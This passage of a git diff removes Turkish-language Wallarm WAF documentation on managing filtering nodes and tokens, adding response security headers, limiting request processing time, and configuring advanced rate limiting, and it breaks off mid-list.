-Aşağıdaki düğüm özellikleri ve metrikleri mevcuttur: - -* Korumalı alan adının adına göre oluşturulan düğüm adı -* Düğüm IP adresi -* Korumalı alan adıyla ilişkili origin adresi -* Benzersiz düğüm tanımlayıcı (UUID) -* Düğüm durumu -* SSL/TLS sertifikası: Wallarm tarafından oluşturulan Let's Encrypt veya özel olanı -* Filtreleme düğümünün Wallarm Cloud ile son eşitlenme zamanı -* Filtreleme düğümünün oluşturulma tarihi -* Düğüm tarafından içinde bulunulan ayda işlenen istek sayısı -* Kullanılan custom_ruleset ve proton.db sürümleri -* Yüklü Wallarm paketlerinin sürümleri -* Mevcut bileşen güncellemelerine ilişkin gösterge - -![CDN düğüm kartı](../../images/user-guides/nodes/view-cdn-node-comp-vers.png) - -## Korumalı kaynağın origin adresini güncelleme {#updating-the-origin-address-of-the-protected-resourse} - -Barındırma sağlayıcınız korunan kaynakla ilişkili origin IP adresini veya alan adını dinamik olarak güncelliyorsa, lütfen CDN düğümü yapılandırmasında belirtilen origin adresini güncel tutun. Aksi halde, CDN düğümü istekleri hatalı bir origin adresine proxy'lemeye çalışacağından, istekler korunan kaynağa ulaşmayacaktır. - -Origin adresini güncellemek için **Edit origin address** seçeneğini kullanın. - -## Özel SSL/TLS sertifikası yükleme - -Wallarm, CDN düğümü alanında HTTPS'i etkinleştiren [Let's Encrypt](https://letsencrypt.org/) sertifikasını otomatik olarak verir. Sertifikalar ihtiyaç halinde otomatik olarak oluşturulur ve yenilenir. - -Korumalı alan için zaten bir sertifikanız varsa ve Let's Encrypt sertifikası yerine bunu tercih ediyorsanız, **Update SSL/TLS certificate** seçeneğini kullanarak kendi sertifikanızı yükleyebilirsiniz. - -## Varnish Cache kullanma {#using-varnish-cache} - -[Varnish Cache](https://varnish-cache.org/intro/index.html#intro) HTTP hızlandırıcısı ile CDN düğümünün kullanılması, kullanıcılara içerik teslimini (ör. sunucu yanıtlarınızı) hızlandırır. Ancak içeriğinizi değiştirdiğinizde, CDN üzerindeki önbelleğe alınmış kopya gecikmeli güncellenebilir; bu da [sorunlara](#why-is-there-a-delay-in-the-update-of-the-content-protected-by-the-cdn-node) yol açabilir ve Varnish Cache'i devre dışı bırakmak için bir neden olabilir. - -İçerik güncelleme hızına ilişkin sorunları önlemek için Varnish Cache varsayılan olarak devre dışıdır. Varnish Cache'i manuel olarak etkinleştirebilir/devre dışı bırakabilirsiniz. Bunu yapmak için **Nodes** → CDN düğümü menüsü → **Enable Varnish Cache** veya **Disable Varnish Cache** yolunu izleyin. - -## Bir düğümü silme - -Filtreleme düğümü silindiğinde, alan adınıza gelen isteklerin filtrasyonu durdurulacaktır. Filtreleme düğümünün silinmesi geri alınamaz. Wallarm düğümü, düğümler listesinden kalıcı olarak silinecektir. - -1. Korumalı alanın DNS kayıtlarından Wallarm CNAME kaydını silin. - - !!! warning "Kötü amaçlı isteklerin azaltılması durdurulacaktır" - CNAME kaydı kaldırıldıktan ve değişiklikler İnternet'te etkili olduktan sonra, Wallarm CDN düğümü istek proxy'lemeyi durduracak ve meşru ve kötü amaçlı trafik doğrudan korunan kaynağa gidecektir. - - Bu durum, silinen DNS kaydı etkili olmuşken yeni düğüm sürümü için oluşturulan CNAME kaydı henüz etkili olmamışsa, korunan sunucudaki güvenlik açıklarının istismar edilmesi riskiyle sonuçlanır. -1. Değişikliklerin yayılmasını bekleyin. Gerçek CNAME kaydı durumu Wallarm Console → **Nodes** → **CDN** → **Delete node** içinde görüntülenir. -1. CDN düğümünü düğüm listesinden silin. - -![Düğümün silinmesi](../../images/user-guides/nodes/delete-cdn-node.png) - -## CDN düğümü sorun giderme - ---8<-- "../include/waf/installation/cdn-node/cdn-node-troubleshooting.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/nodes/nodes.md b/docs/latest-tr/user-guides/nodes/nodes.md deleted file mode 100644 index 1284c06c3c..0000000000 --- a/docs/latest-tr/user-guides/nodes/nodes.md +++ /dev/null @@ -1,116 +0,0 @@ -# Wallarm düğümleri - -Wallarm Console UI'nin **Nodes** bölümü, kendi barındırdığınız düğüm örneklerini yönetmenize olanak tanır. - -Wallarm node modülleri, kötü amaçlı trafiği azaltmak için müşterinin ortamına dağıtılmalıdır. Wallarm node, kötü amaçlı istekleri azaltıp meşru istekleri korunan kaynağa ileten bir proxy olarak çalışır. - -Wallarm node UI yönetim seçenekleri: - -* Yeni düğümler oluşturma -* Kurulu düğümlerin özelliklerini ve metriklerini görüntüleme -* Düğüm token'larını yeniden oluşturma -* Düğümleri yeniden adlandırma -* Düğümleri silme - -![Nodes](../../images/user-guides/nodes/table-nodes.png) - -!!! info "Yönetici erişimi" - Wallarm düğümlerinin/token'larının oluşturulması, silinmesi ve yeniden oluşturulması yalnızca **Administrator** veya **Global Administrator** rolüne sahip kullanıcılar için kullanılabilir. Kurulu düğümlerin ayrıntılarını görüntüleme tüm kullanıcılar için mevcuttur. - -!!! warning "Normal ve bulut düğüm türleri kaldırıldı" - Sürüm 4.6'dan itibaren yalnızca [**Wallarm node** türü kullanılabilir](../../updating-migrating/older-versions/what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-api-tokens). - - **Wallarm node**, [desteklenen herhangi bir ortamda](../../installation/supported-deployment-options.md) kayıt ve yapılandırma için birleşik bir yaklaşım kullanır. - -## Bir düğüm oluşturma - -[uygun token](#api-and-node-tokens-for-node-creation) kullanarak bir Wallarm node oluşturmak için: - -=== "API token ile" - - 1. Wallarm Console → **Settings** → **API tokens**'ı [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens)'da açın. - 1. Kullanım türü `Node deployment/Deployment` olan bir API token'ı bulun veya oluşturun. - 1. Bu token'ı kopyalayın. - 1. API token'ınızı kullanarak yeni düğümü [uygun ortama](../../installation/supported-deployment-options.md) dağıtın. Düğüm kaydedildikten sonra, Wallarm Console'un **Nodes** bölümünde otomatik olarak görünecektir. - -=== "Node token ile" - - 1. Wallarm Console → **Nodes**'u [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes)'da açın ve **Wallarm node** türünde düğümü oluşturun. - - ![Wallarm node oluşturma](../../images/user-guides/nodes/create-cloud-node.png) - - 1. Oluşturulan token'ı kopyalayın. - 1. Node token'ınızı kullanarak yeni düğümü [uygun ortama](../../installation/supported-deployment-options.md) dağıtın. - -!!! info "Çok kiracılı (multi-tenant) seçenek" - **multi-tenant** seçeneği, Wallarm'ı aynı anda birden fazla bağımsız şirket altyapısını veya izole ortamı korumak için kullanmanıza olanak tanır. [Daha fazla bilgi edinin](../../installation/multi-tenant/overview.md) - - === "API token ile kurulum" - - Bir düğümü kurulumdan sonra mevcut düğümün menüsünden multi-tenant moduna geçirebilirsiniz. - - === "Node token ile kurulum" - - Bir düğümü, oluşturma sırasında veya mevcut düğümün menüsünden multi-tenant moduna geçirebilirsiniz. - -## Bir düğümün ayrıntılarını görüntüleme - -Kurulu filtreleme düğümünün ayrıntıları, her filtreleme düğümünün tablosunda ve kartında görüntülenir. Kartı açmak için ilgili tablo kaydına tıklayın. - -Aşağıdaki düğüm özellikleri ve metrikleri mevcuttur: - -* Düğüm oluşturulurken düğüme verilen düğüm adı -* Saniye başına ortalama istek sayısı (RPS) -* Düğüm IP adresi -* Benzersiz düğüm tanımlayıcısı (UUID) -* Wallarm node token'ı (yalnızca **Administrator** veya **Global Administrator** [rolüne](../settings/users.md) sahip kullanıcılar için görünür) -* Filtreleme düğümünün Wallarm Cloud ile son eşitlenme zamanı -* Filtreleme düğümünün oluşturulma tarihi -* Düğüm tarafından cari ayda işlenen istek sayısı, ayrıca **View events from this node for the day** özelliğini kullanabilirsiniz (sizi **Attacks** bölümüne geçirir) -* Kullanılan LOM ve proton.db sürümleri -* Kurulu Wallarm paketleri ve NGINX sürümleri (varsa) - -![Düğüm kartı](../../images/user-guides/nodes/view-wallarm-node.png) - -Bir Wallarm node birden fazla örnek için kuruluysa (ör. başlangıç trafik işleme ve istek post-analitiği farklı sunucu örnekleri tarafından gerçekleştiriliyorsa), karşılık gelen filtreleme düğümü sayısı tabloda tek bir kayıtta gruplanır. Özellikler ve metrikler her örnek için mevcut olacaktır. - -Wallarm'da, düğüm örnekleri `hostname_NodeUUID` olarak adlandırılır; burada: - -* `hostname`, düğüm örneğinin başlatıldığı çalışma makinesinin adıdır -* `NodeUUID`, benzersiz düğüm tanımlayıcısıdır (UUID) - -## Düğüm token'ını yeniden oluşturma - -Token'ı yeniden oluşturmak, düğüm için yeni bir token oluşturur. - -1. Wallarm Console → **Nodes**'u açın. -2. Düğüm menüsünde veya kartında **Regenerate token**'a tıklayın. -3. Düğüm zaten altyapınıza kurulmuşsa, yeni token değerini kopyalayın ve kurulu düğüm ayarları içinde belirtin. - -![Düğüm token'ını yeniden oluşturma](../../images/user-guides/nodes/generate-new-token.png) - -## Bir düğümü silme - -Düğüm silindiğinde, uygulamanıza gelen isteklerin filtrasyonu duracaktır. Filtreleme düğümünü silme işlemi geri alınamaz. Düğüm, düğüm listesinden kalıcı olarak silinecektir. - -1. Wallarm Console → **Nodes**'u açın. -1. Bir veya daha fazla düğümü seçin ve **Delete**'e tıklayın. Ayrıca düğümü düğüm menüsündeki veya düğüm kartındaki bir düğmeyi seçerek de silebilirsiniz. -1. İşlemi onaylayın. - - -## Düğüm oluşturma için API ve node token'ları - -Wallarm filtreleme düğümü, Wallarm Cloud ile etkileşime girer. Düğümün Wallarm Cloud API'sine erişebilmesi için Cloud tarafında bir token oluşturmanız ve düğümün bulunduğu makinede kullanmanız gerekir. Bu amaçla **API tokens** (önerilir) veya **Node tokens** kullanın: - -* [`**API tokens**`](../settings/api-tokens.md) kullanım türü `Node deployment/Deployment` olduğunda: - - * UI'da düğümleri mantıksal olarak organize etmek için kullanılan düğüm grubu sayısı önceden bilinmiyorsa (düğüm grupları sürekli eklenecek/kaldırılacaksa - API tokens ile bu grupları `group` etiket değerini ayarlayan `WALLARM_LABELS` değişkeniyle kolayca yönetebilirsiniz). - * Token'ın yaşam döngüsünü kontrol etmeniz gerekiyorsa (son kullanma tarihini belirtebilir veya API tokens'ı devre dışı bırakabilirsiniz; bu da onları daha güvenli yapar). - - !!! info "Bazı dağıtım seçenekleri API tokens'ı desteklemez" - API tokens şu anda [Terraform module](../../installation/cloud-platforms/aws/terraform-module/overview.md) tabanlı AWS dağıtımları için kullanılamaz. Bunun yerine node tokens kullanın. - -* Önceden hangi düğüm gruplarının bulunacağını biliyorsanız **Node tokens**. Düğüm grubunu oluşturmak ve adlandırmak için **Nodes** → **Create node**'u kullanın. Düğüm dağıtımı sırasında, gruba dahil etmek istediğiniz her düğüm için grubun token'ını kullanın. - -!!! info "Otomatik ölçeklendirme desteği" - Her iki token türü de bazı bulutlarda/kurulum varyantlarında mevcut olan düğüm otomatik ölçeklendirme özelliğini destekler. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/rules/add-replace-response-header.md b/docs/latest-tr/user-guides/rules/add-replace-response-header.md deleted file mode 100644 index 2fdc4069fe..0000000000 --- a/docs/latest-tr/user-guides/rules/add-replace-response-header.md +++ /dev/null @@ -1,39 +0,0 @@ -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# Sunucu Yanıt Üstbilgilerini Değiştirme - -**Change server response headers** [kuralı](../../user-guides/rules/rules.md), sunucu yanıt üstbilgilerini eklemenize, silmenize ve değerlerini değiştirmenize olanak tanır. - -Bu kural türü, en sık olarak uygulama güvenliğinin ek bir katmanını yapılandırmak için kullanılır, örneğin: - -* İstemcinin belirli bir sayfa için hangi kaynakları yükleyebileceğini kontrol eden [`Content-Security-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) yanıt üstbilgisini eklemek. Bu, [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss) saldırılarına karşı korunmaya yardımcı olur. - - Sunucunuz bu üstbilgiyi varsayılan olarak döndürmüyorsa, **Change server response headers** kuralını kullanarak eklemeniz önerilir. MDN Web Docs içinde [olası üstbilgi değerlerinin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives) açıklamalarını ve [üstbilgi kullanım örneklerini](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#examples_common_use_cases) bulabilirsiniz. - - Benzer şekilde, bu kural [`X-XSS-Protection`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection), [`X-Frame-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options), [`X-Content-Type-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) yanıt üstbilgilerini eklemek için de kullanılabilir. -* NGINX `Server` üstbilgisini veya yüklü modül sürümlerine ilişkin verileri içeren herhangi bir üstbilgiyi değiştirmek. Bu veriler, saldırgan tarafından yüklü modül sürümlerindeki zafiyetleri keşfetmek ve sonuç olarak keşfedilen zafiyetleri istismar etmek için potansiyel olarak kullanılabilir. - - NGINX `Server` üstbilgisi, Wallarm node 2.16 ile birlikte değiştirilebilir. - -**Change server response headers** kuralı ayrıca iş ve teknik konularınızı ele almak için de kullanılabilir. - -## Kuralı oluşturma ve uygulama - -Kuralı oluşturmak ve uygulamak için: - - ---8<-- "../include/rule-creation-initial-step.md" -1. **If request is** bölümünde, kuralın uygulanacağı kapsamı [açıklayın](rules.md#configuring). -1. **Then** bölümünde, **Change server response headers** seçeneğini seçin ve aşağıdakileri ayarlayın: - - * Eklenecek ya da değeri değiştirilecek üstbilginin adı. - * Belirtilen üstbilginin yeni değeri/değerleri. - * Mevcut bir yanıt üstbilgisini silmek için değerini **Replace** sekmesinde boş bırakın. - -1. [Kural derlemesinin tamamlanmasını](rules.md#ruleset-lifecycle) bekleyin. - -## Örnek: güvenlik politikası üstbilgisini ve değerini ekleme - -`https://example.com/*` kapsamındaki tüm içeriğin yalnızca sitenin orijininden gelmesine izin vermek için, **Change server response headers** kuralını kullanarak [`Content-Security-Policy: default-src 'self'`](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#example_1) yanıt üstbilgisini aşağıdaki şekilde ekleyebilirsiniz: - -![“Change server response headers” kuralı örneği](../../images/user-guides/rules/add-replace-response-header.png) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/rules/configure-overlimit-res-detection.md b/docs/latest-tr/user-guides/rules/configure-overlimit-res-detection.md deleted file mode 100644 index 3d5e24e6b7..0000000000 --- a/docs/latest-tr/user-guides/rules/configure-overlimit-res-detection.md +++ /dev/null @@ -1,83 +0,0 @@ -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# İstek İşleme Süresini Sınırlama - -Wallarm düğümü, tek bir gelen isteğin işlenmesine sınırlı zaman harcar ve zaman sınırı aşılırsa, isteği [resource overlimit (`overlimit_res`)](../../attacks-vulns-list.md#resource-overlimit) saldırısı olarak işaretler. Tek bir isteğin işlenmesine ayrılan zaman sınırını ve sınır aşıldığında düğümün davranışını özelleştirebilirsiniz. - -İstek işleme süresini sınırlamak, Wallarm düğümlerini hedefleyen atlatma saldırılarını engeller. Bazı durumlarda `overlimit_res` olarak işaretlenen istekler, Wallarm düğümü modüllerine ayrılan kaynakların yetersiz olduğunu ve bunun da uzun istek işlemeye yol açtığını gösterebilir. - -## Resource overlimit saldırılarına yanıt verme - -Düğüm sürümü 5.1.0'dan itibaren, yapılandırılan işleme süresi sınırlarını aşan tüm istekler, **Attacks** bölümünde `overlimit_res` anahtar kelimesi altında listelenir. Aşağıdaki bilgiler, bu isteklere yanıt olarak varsayılan düğüm davranışının uygun olup olmadığını veya ayarlama gerekip gerekmediğini belirlemenize yardımcı olacaktır: - -* Bu uç nokta büyük verilerle (dosyalar vb.) mi çalışıyor ve bu nedenle daha fazla zamana mı ihtiyaç duyuyor? - - * Eğer **evet** ise, zaman sınırını [özellikle bu uç nokta için](#specific-endpoint-configuration) artırın. Bu, isteğin işlenmemiş kısmını azaltacak ve böylece orada gizlenmiş saldırı riskini düşürecektir. - * Eğer **hayır** ise, uç nokta saldırı altında olabilir; korumasını ve bu uç noktayla ilgili etkinlikleri [**API Discovery**](../../api-discovery/overview.md), [**API Sessions**](../../api-sessions/overview.md) ve [**Attacks**](../../user-guides/events/check-attack.md) içinde araştırın. Korumayı [burada](../../user-guides/events/check-attack.md#responding-to-attacks) açıklandığı gibi ayarlayın. - -* Bu uç nokta, **çok sayıda başka** uç noktayla birlikte `overlimit_res` sorunu yaşıyor mu? Eğer **evet** ise, istek işleme süresini azaltacak Wallarm düğümü modülleri için [daha fazla kaynak ayırmayı](../../admin-en/configuration-guides/allocate-resources-for-node.md) düşünün veya genel yapılandırmanın doğruluğunu kontrol edin. - -* Bu uç nokta kullanıcı deneyimini ve memnuniyetini doğrudan etkiliyor mu? - - * Eğer **evet** ise, varsayılan **engellememe** davranışını değiştirmeyin. Meşru trafik kesinlikle engellenmeyecek ve yine de sorunlarla ilgili bilgileri **Attacks** içinde `overlimit_res` olarak alacaksınız. - * Eğer **hayır** ise, [özellikle bu uç nokta için](#specific-endpoint-configuration) yanıtı **Block** olarak değiştirmeyi değerlendirin. - -Uç noktalarda `overlimit_res` saldırılarının varlığı genellikle normaldir ancak beklenen sınırlar içinde kalmalıdır. Yüksek hacimler, yukarıda açıklanan analiz ve eylemleri gerçekleştirmenin faydalı olabileceğini gösterir. - - -## Genel yapılandırma - -Wallarm Console → **Settings** → **General** → **Limit request processing time** içinde, istek işleme süresi sınırı için genel yapılandırmayı kontrol edebilirsiniz. Bu yapılandırma, [belirli uç nokta yapılandırması](#specific-endpoint-configuration) ile geçersiz kılınmadıkça tüm uç noktaları etkiler. - -Varsayılan olarak şunlardır: - -* Tek bir gelen isteğin işlenmesi için **1.000 milisaniye**. -* Aşıma verilen yanıt **Interrupt Wallarm processing and bypass** olup bu, Wallarm'ın: - - * İstek işlemeyi durdurduğu, - * İsteği `overlimit_res` saldırısı olarak işaretleyip **Attacks** içinde gösterdiği anlamına gelir. İşlenen istek kısmı başka [saldırı türleri](../../attacks-vulns-list.md) içeriyorsa, ilgili türlerin saldırıları da görüntülenecektir. - * Orijinal isteğin uygulamaya ulaşmasına izin verdiği (korumanın atlatılması) anlamına gelir. - -![İstek işleme süresini sınırla - Genel yapılandırma](../../images/user-guides/rules/fine-tune-overlimit-detection-generic.png) - -Genel yapılandırmayı zaman sınırını ayarlayarak ve yanıtı değiştirerek değiştirebilirsiniz. - -!!! warning "Korumanın atlatılması veya sistem belleğinin tükenmesi riski" - * Varsayılan düğüm davranışını yalnızca gerçekten gerekli olan, örneğin büyük dosyaların yüklendiği ve korumanın atlatılması ile zafiyet istismarının riske atılmadığı kesinlikle [belirli yerlerde](#specific-endpoint-configuration) değiştirmeniz önerilir. - * Yüksek zaman sınırı, bellek tükenmesine yol açabilir. - -Yanıtı **Block request** olarak değiştirmek, Wallarm'ın: - -* İstek işlemeyi durdurduğu, -* İsteği `overlimit_res` saldırısı olarak işaretleyip **Attacks** içinde gösterdiği. İşlenen istek kısmı başka [saldırı türleri](../../attacks-vulns-list.md) içeriyorsa, ilgili türlerin saldırıları da görüntülenecektir. -* İsteği engellediği anlamına gelir. Meşru isteklerin engellenme riski olduğunu unutmayın. Varsayılan genel yapılandırmayı korumak ve [yalnızca belirli uç noktalar](#specific-endpoint-configuration) için engellemeyi ayarlamak bu riski en aza indirir. - -!!! info "Engelleme için filtreleme modu gereklidir" - Engellemenin yalnızca düğüm **blocking** filtreleme [mode](../../admin-en/configure-wallarm-mode.md) içinde olduğunda veya [graylisted](../ip-lists/overview.md) IP adreslerinden gelen istekler için **safe blocking** olduğunda çalışacağını unutmayın. - - -## Belirli uç nokta yapılandırması - -[Varsayılan genel yapılandırma](#general-configuration) iyi test edilmiş ortalama bir yaklaşımdır ve değiştirilmesi asla önerilmez. Ancak, hem koruma sağlayan hem de meşru trafiği engellemeyen daha iyi bir dengeye ulaşabilirsiniz. Bunu, ortalamanın dışında işleme süresine sahip uç noktalar için zaman sınırını **özellikle** ayarlayarak ve hemen riskli olmadığı yerlerde yanıtı **özellikle** **engellemeye** çevirerek yapın. - -**Limit request processing time** [kuralı](../../user-guides/rules/rules.md), belirli bir uç nokta için farklı ayarlayarak [genel](#general-configuration) veya üst yapılandırmayı geçersiz kılmanızı sağlar. Şunları yapabilirsiniz: - -* Tek bir istek işlemeye özel bir sınır belirlemek -* Sistem yanıtını değiştirmek (her birinin açıklamaları [yukarıdadır](#general-configuration)) - -İstek işleme süresi sınırı için belirli uç nokta yapılandırmasını ayarlamak için: - ---8<-- "../include/rule-creation-initial-step.md" -1. **Fine-tuning attack detection** → **Limit request processing time** öğesini seçin. -1. **If request is** içinde, kuralın uygulanacağı kapsamı [açıklayın](rules.md#configuring). -1. Parametreleri ayarlayın. - -## Kural örneği - -Varsayılan genel yapılandırmanızın **1.000 milisaniye** ve yanıtın **Interrupt Wallarm processing and bypass** olduğunu ve `https://example.com/upload` için çok sayıda `overlimit_res` saldırınız olduğunu varsayalım. İnceleme, uç noktanın büyük dosya yükleme için kullanıldığını ve meşru isteklerin, işleme süresinin aşılması nedeniyle `overlimit_res` saldırıları olarak işaretlendiğini gösteriyor. - -Gereksiz `overlimit_res` bildirimlerinin sayısını azaltmak ve isteğin işlenmemiş kısmında gizlenen kötü amaçlı yüklerin olasılığını düşürmek için, özellikle bu uç nokta için istek işlemeye ayrılan süreyi artırmamız gerekir. - -Bunu yapmak için, ekran görüntüsünde gösterildiği gibi **Limit request processing time** kuralını ayarlayın. - -![“Register and display in the events” kural örneği](../../images/user-guides/rules/fine-tune-overlimit-detection-example.png) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/rules/rate-limiting.md b/docs/latest-tr/user-guides/rules/rate-limiting.md deleted file mode 100644 index 2f1b73615e..0000000000 --- a/docs/latest-tr/user-guides/rules/rate-limiting.md +++ /dev/null @@ -1,138 +0,0 @@ -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# Hız Sınırlama - -[Unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md), en ciddi API güvenlik risklerinin listelendiği [OWASP API Top 10 2023](../../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023) listesinde yer almaktadır. Hız sınırlamanın olmaması, bu riskin başlıca nedenlerinden biridir. Uygun hız sınırlama önlemleri olmadan, API’ler hizmet engelleme (DoS), kaba kuvvet (brute force) ve API’nin aşırı kullanımına yönelik saldırılara karşı savunmasızdır. Bu makale, Wallarm’ın hız sınırlama düzenleme kuralı ile API’nizi ve kullanıcılarınızı nasıl koruyacağınızı açıklar. - -Wallarm, API’nize aşırı trafiği önlemeye yardımcı olmak için **Advanced rate limiting** [kuralını](../../user-guides/rules/rules.md) sağlar. Bu kural, belirli bir kapsama yapılabilecek maksimum bağlantı sayısını belirtmenizi ve gelen isteklerin eşit şekilde dağıtılmasını sağlar. Bir istek tanımlanan limiti aşarsa, Wallarm isteği reddeder ve kuralda seçtiğiniz kodu döndürür. - -Wallarm, çerezler veya JSON alanları gibi çeşitli istek parametrelerini inceler; bu sayede bağlantıları yalnızca kaynak IP adresine göre değil, aynı zamanda oturum tanımlayıcıları, kullanıcı adları veya e-posta adreslerine göre de sınırlayabilirsiniz. Bu ek ayrıntı düzeyi, herhangi bir kaynak verisine dayanarak platformun genel güvenliğini artırmanızı sağlar. - -Bu makalede açıklanan hız sınırlamanın Wallarm tarafından sağlanan yük kontrolü yöntemlerinden sadece biri olduğunu unutmayın - alternatif olarak [brute force korumasını](../../admin-en/configuration-guides/protecting-against-bruteforce.md) uygulayabilirsiniz. Gelen trafiği yavaşlatmak için hız sınırlamayı, saldırganı tamamen engellemek için ise brute force korumasını kullanın. - -## Kuralı oluşturma ve uygulama - -Hız limitini ayarlamak ve uygulamak için: - ---8<-- "../include/rule-creation-initial-step.md" -1. **Mitigation controls** → **Advanced rate limiting** seçin. -1. **If request is** içinde, kuralın uygulanacağı kapsamı [tanımlayın](rules.md#configuring). -1. Kapsamınıza yapılacak bağlantılar için istenen limiti belirleyin: - - * Saniye başına veya dakika başına istekler için maksimum sayı. - * **Burst** - belirtilen RPS/RPM aşıldığında arabelleğe alınacak aşırı isteklerin maksimum sayısı ve oran normale döndüğünde işlenecek olanlar. Varsayılan olarak `0`. - - Değer `0`’dan farklıysa, arabelleğe alınmış aşırı isteklerin yürütülmesi sırasında tanımlanan RPS/RPM’in korunup korunmayacağını kontrol edebilirsiniz. - - **No delay**, tüm arabelleğe alınmış aşırı isteklerin, hız limiti gecikmesi olmaksızın eşzamanlı olarak işlenmesini ifade eder. **Delay**, belirtilen sayıda aşırı isteğin eşzamanlı işlenmesini, diğerlerinin ise RPS/RPM’de ayarlanan gecikme ile işlenmesini ifade eder. - - * **Response code** - reddedilen isteklere yanıt olarak döndürülecek kod. Varsayılan `503`. - - Aşağıda limitin 5 r/s, burst 12 ve delay 8 olduğu hız sınırlama davranışı örneği yer almaktadır. - - ![Hız sınırlamanın çalışma şekli](../../images/user-guides/rules/rate-limit-schema.png) - - İlk 8 istek (Delay değerinin) Wallarm düğümü tarafından gecikme olmadan iletilir. Sonraki 4 istek (burst - delay), tanımlı 5 r/s oranı aşılmayacak şekilde geciktirilir. Sonraki 3 istek, toplam burst boyutu aşıldığı için reddedilir. Takip eden istekler geciktirilir. - -1. **In this part of request** içinde, limit uygulamak istediğiniz istek noktalarını belirtin. Wallarm, seçilen istek parametreleri için aynı değerlere sahip istekleri kısıtlayacaktır. - - Tüm mevcut noktalar [burada](request-processing.md) açıklanmıştır, belirli kullanım senaryonuza uyanları seçebilirsiniz, örn.: - - * `remote_addr` ile bağlantıları kaynak IP’ye göre sınırlamak - * `api_key` JSON gövde parametresine göre bağlantıları sınırlamak için `json` → `json_doc` → `hash` → `api_key` - - !!! info "Değer uzunluğuna ilişkin kısıtlamalar" - Limitleri ölçtüğünüz parametre değerlerinin izin verilen azami uzunluğu 8000 karakterdir. -1. [Kuralın derlenmesinin ve filtreleme düğümüne yüklenmesinin tamamlanmasını](rules.md#ruleset-lifecycle) bekleyin. - -## Kural örnekleri - - -### API yüksek erişilebilirliğini sağlamak için IP’ye göre bağlantıları sınırlama - -Bir sağlık şirketinin, doktorların `https://example-host.com` ana makinesinin `/patients` uç noktasına POST isteği ile hasta bilgilerini göndermesine izin veren bir REST API’si olduğunu varsayalım. Bu uç noktanın erişilebilirliği kritik önemdedir, dolayısıyla çok sayıda istekle boğulmamalıdır. - -Özellikle `/patients` uç noktası için belirli bir zaman dilimi içinde IP’ye göre bağlantıları sınırlamak bunu önleyebilir. Bu, uç noktanın tüm doktorlar için stabilitesini ve erişilebilirliğini sağlar, ayrıca DoS saldırılarını engelleyerek hasta bilgilerinin güvenliğini korur. - -Örneğin, her IP adresi için dakikada 5 POST isteği olarak aşağıdaki gibi bir limit belirlenebilir: - -![Örnek](../../images/user-guides/rules/rate-limit-by-ip-for-patients.png) - -### Kimlik doğrulama parametrelerine yönelik kaba kuvvet (brute force) saldırılarını önlemek için oturuma göre bağlantıları sınırlama - -Kullanıcı oturumlarına hız sınırlama uygulayarak, korunan kaynaklara yetkisiz erişim sağlamak için gerçek JWT’leri veya diğer kimlik doğrulama parametrelerini bulmaya yönelik brute force girişimlerini kısıtlayabilirsiniz. Örneğin, hız limiti bir oturum altında dakikada yalnızca 10 isteğe izin verecek şekilde ayarlanırsa, farklı jeton değerleriyle çoklu istekler yaparak geçerli bir JWT bulmaya çalışan bir saldırgan hız limitine hızla takılır ve hız limiti süresi dolana kadar istekleri reddedilir. - -Uygulamanızın her kullanıcı oturumuna benzersiz bir kimlik atadığını ve bunu `X-SESSION-ID` başlığında yansıttığını varsayalım. `https://example.com/api/login` URL’sindeki API uç noktası, `Authorization` başlığında Bearer JWT içeren POST isteklerini kabul eder. Bu senaryoda, oturuma göre bağlantıları sınırlayan kural aşağıdaki gibi görünecektir: - -![Örnek](../../images/user-guides/rules/rate-limit-for-jwt.png) - -`Authorization` değeri için kullanılan [düzenli ifade](rules.md#condition-type-regex) ``^Bearer\s+([a-zA-Z0-9-_]+[.][a-zA-Z0-9-_]+[.][a-zA-Z0-9-_]+)$` şeklindedir. - -Kullanıcı oturumlarını yönetmek için JWT (JSON Web Tokens) kullanıyorsanız, oturum kimliğini yükünden çıkarmak için JWT’nin [şifresini çözmek](request-processing.md#jwt) üzere kuralı aşağıdaki gibi ayarlayabilirsiniz: - -![Örnek](../../images/user-guides/rules/rate-limit-for-session-in-jwt.png) - - - -### Sunucunun aşırı yüklenmesini önlemek için müşteri kimliklerine göre bağlantıları sınırlama - -Bir web servisinin, bir e-ticaret platformu için müşteri sipariş verilerine erişim sağladığını düşünelim. Müşteri kimliğine göre hız sınırlaması, müşterilerin kısa sürede çok fazla sipariş vermesini önlemeye yardımcı olabilir; bu da stok yönetimi ve sipariş karşılama üzerinde baskı oluşturabilir. - -Örneğin, her müşteri için `https://example-domain.com/orders` adresine dakikada 10 POST isteği ile sınırlayan kural aşağıdaki gibi görünebilir. Bu örnekte, müşteri kimliğinin `data.customer_id` JSON gövde nesnesinde [iletildiği](request-processing.md#json_doc) varsayılmaktadır. - -![Örnek](../../images/user-guides/rules/rate-limit-by-customer-id.png) - -## Sınırlamalar ve özellikler - -Hız sınırlama işlevinin aşağıdaki sınırlamaları ve özellikleri vardır: - -* Hız sınırlama kuralı, aşağıdakiler **hariç** olmak üzere tüm [Security Edge](../../installation/security-edge/overview.md) ve [kendi barındırılan](../../installation/supported-deployment-options.md) dağıtım biçimleri tarafından desteklenir: - - * OOB Wallarm dağıtımı - * MuleSoft, Amazon CloudFront, Cloudflare, Broadcom Layer7 